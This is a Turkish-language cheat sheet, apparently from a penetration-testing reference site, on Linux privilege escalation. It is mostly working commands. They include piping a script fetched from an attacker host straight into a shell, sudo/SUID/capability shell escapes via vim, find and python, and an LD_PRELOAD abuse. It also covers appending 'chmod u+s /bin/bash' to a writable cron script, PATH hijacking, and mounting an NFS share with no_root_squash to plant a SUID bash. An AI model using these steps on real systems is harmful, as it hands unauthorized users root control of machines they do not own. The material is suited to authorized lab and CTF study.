Linux Privilege Escalation
MITRE ATT&CK · T1068 phase: privilege-escalation
Linux privilege escalation, düşük yetkili bir oturumdan root (veya eşdeğer yetenek) elde etmektir. Amaç rastgele exploit denemek değil; enumeration ile yazılabilir dosya, tehlikeli SUID, sudo kuralı ve capability yüzeyini çıkarıp bilinen sömürü yollarına bağlamak.
Ön koşullar
Section titled “Ön koşullar”Shell → id/uname/mountEnum → linpeas + manuel (SUID, sudo, cron, caps)Sömürü → GTFOBins / yazma hakkı → root shellEnumeration (hızlı başlangıç)
Section titled “Enumeration (hızlı başlangıç)”iduname -asudo -lfind / -perm -4000 -type f 2>/dev/nullgetcap -r / 2>/dev/nullcat /etc/crontabmountss -lntuplinpeas · remote fetch
embedded toolcurl -L http://10.10.14.5:8000/linpeas.sh | shlinpeas.sh dosyasını saldırgan makinede python3 -m http.server ile servis et.
linpeas · remote fetch
Section titled “linpeas · remote fetch”python3 -m http.server 8000wget http://10.10.14.5:8000/linpeas.sh -O /tmp/linpeas.shchmod +x /tmp/linpeas.sh/tmp/linpeas.sh | tee /tmp/lp.outpspy ile root cron/timer’larını yakala (SUID gerekmez):
./pspy64 -p -i 1000SUID / SGID ve GTFOBins
Section titled “SUID / SGID ve GTFOBins”SUID binary, çalışırken dosya sahibinin (çoğu zaman root) UID’siyle koşar.
GTFOBins’te listelenen araçlar shell, dosya okuma/yazma veya library load ile
yükseltilebilir. Özel SUID’de strings / ldd / strace ile relative path
veya yazılabilir config ara.
find / -perm -u=s -type f 2>/dev/nullfind . -exec /bin/sh -p \; -quitvim -c ':!/bin/sh'bash -psudo suistimali
Section titled “sudo suistimali”sudo -l(ALL) NOPASSWD: /usr/bin/vim → :!bash(ALL) NOPASSWD: /usr/bin/find → -exec(root) NOPASSWD: /usr/bin/python3 → os.system("/bin/sh")SETENV / env_keep+=LD_PRELOAD → sahte .sosudo vim -c ':!/bin/sh'sudo python3 -c 'import os; os.system("/bin/sh")'SETENV / LD_PRELOAD varsa sahte .so basıp izinli binary ile yükle.
Wildcard sudo ve sudoedit için GTFOBins; sudo -l satır satır oku.
Linux capabilities
Section titled “Linux capabilities”Dosyaya yapışık cap’ler SUID olmadan yükseltme sağlar:
cap_setuid, cap_dac_read_search, cap_sys_admin, cap_sys_ptrace.
getcap -r / 2>/dev/nullcapsh --printpython3 -c 'import os; os.setuid(0); os.system("/bin/sh")'Cron, systemd timer, yazılabilir script
Section titled “Cron, systemd timer, yazılabilir script”crontab -lls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily 2>/dev/nullsystemctl list-timers --all 2>/dev/nullfind /etc /opt /usr/local -writable -type f 2>/dev/null | headecho 'chmod u+s /bin/bash' >> /path/to/writable-cron.shPATH hijack — cron script çağırıyor ama full path yoksa yazılabilir
dizine sahte script koy. Wildcard (tar *) için checklist’e bak.
PATH ve shared library hijack
Section titled “PATH ve shared library hijack”echo $PATHexport PATH=/tmp:$PATHecho -e '#!/bin/bash\n/bin/bash -p' > /tmp/servicechmod +x /tmp/serviceldd ile yazılabilir .so / RPATH varsa sahte shared object bas.
NFS no_root_squash
Section titled “NFS no_root_squash”showmount -e 10.10.10.5cat /etc/exports/var/nfs *(rw,sync,no_root_squash)Saldırgan makinede root olarak mount et, SUID bash bas, hedefte çalıştır:
mkdir /tmp/nfsmount -t nfs 10.10.10.5:/var/nfs /tmp/nfscp /bin/bash /tmp/nfs/bashchmod +s /tmp/nfs/bashanonuid=0 benzeri misconfig aynı sınıftadır.
Kernel ve diğer vektörler
Section titled “Kernel ve diğer vektörler”uname -apkexec --versiongrep -E 'docker|lxd|disk|adm' /etc/groupEski kernel + bilinen LPE (DirtyCow, DirtyPipe, PwnKit…) yalnızca sürüm
eşleşince. Ayrıca: docker/lxd grubu, yazılabilir /etc/passwd, SSH agent
forwarding, DB root socket.
Metodoloji özeti
Section titled “Metodoloji özeti”-
sudo -l, SUID, getcap, cron, mount/exports, gruplar — manuel tur. -
linpeas + pspy; sarı/kırmızı bulguları GTFOBins ile eşle.
-
Yazılabilir cron/script/systemd unit’leri payload ile doğrula.
-
NFS / docker.sock / LXD varsa host/root’a git.
-
Kernel CVE son çare; önce yanlış yapılandırmadan stabil shell al.
Saldırı zinciri örnekleri
Section titled “Saldırı zinciri örnekleri”linpeas → NOPASSWD sudo → GTFOBins → rootpspy → writable root cron → reverse root shellcap_setuid+ep → os.setuid(0) → rootno_root_squash → SUID bash → remote root